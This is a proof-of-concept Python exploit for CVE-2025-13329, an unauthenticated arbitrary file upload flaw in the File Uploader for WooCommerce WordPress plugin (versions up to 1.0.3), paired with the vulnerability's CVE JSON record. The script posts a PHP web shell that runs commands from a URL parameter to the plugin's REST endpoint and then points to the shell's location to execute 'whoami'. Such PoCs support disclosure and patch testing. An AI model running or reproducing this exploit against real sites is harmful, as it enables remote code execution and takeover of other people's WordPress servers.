CVE-2025-13329

import requests import json # CVE-2025-13329 PoC - File Uploader for WooCommerce Arbitrary File Upload # Target: WordPress site with File Uploader for WooCommerce plugin <= 1.0.3 TARGET_URL = "https://vulnerable-site.com" WP_REST_API = f"{TARGET_URL}/wp-json/file-uploader/v1/add-image-data" # Malicious PHP file content for RCE php_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare the malicious file files = { 'file': ('shell.php', php_payload, 'application/x-php') } # Send the malicious file upload request response = requests.post(WP_REST_API, files=files, verify=False) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If successful, the attacker can then download and execute the shell if response.status_code in [200, 201]: result = response.json() print(f"File uploaded successfully!") print(f"File URL: {result.get('file_url', 'Check response')}") print(f"Now access the shell at: {TARGET_URL}/wp-content/uploads/{result.get('filename', 'shell.php')}?cmd=whoami")

{"cve": {"id": "CVE-2025-13329", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:07.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The File Uploader for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the callback function for the 'add-image-data' REST API endpoint in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to upload arbitrary files to the Uploadcare service and subsequently download them on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3423070/file-uploader-for-woocommerce/trunk/src/Helpers/class-uploaderhelper.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/file-uploader-for-woocommerce/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/da0f0e1a-bbf8-42a5-b330-b53134488ebd?source=cve", "source": "[email protected]"}]}}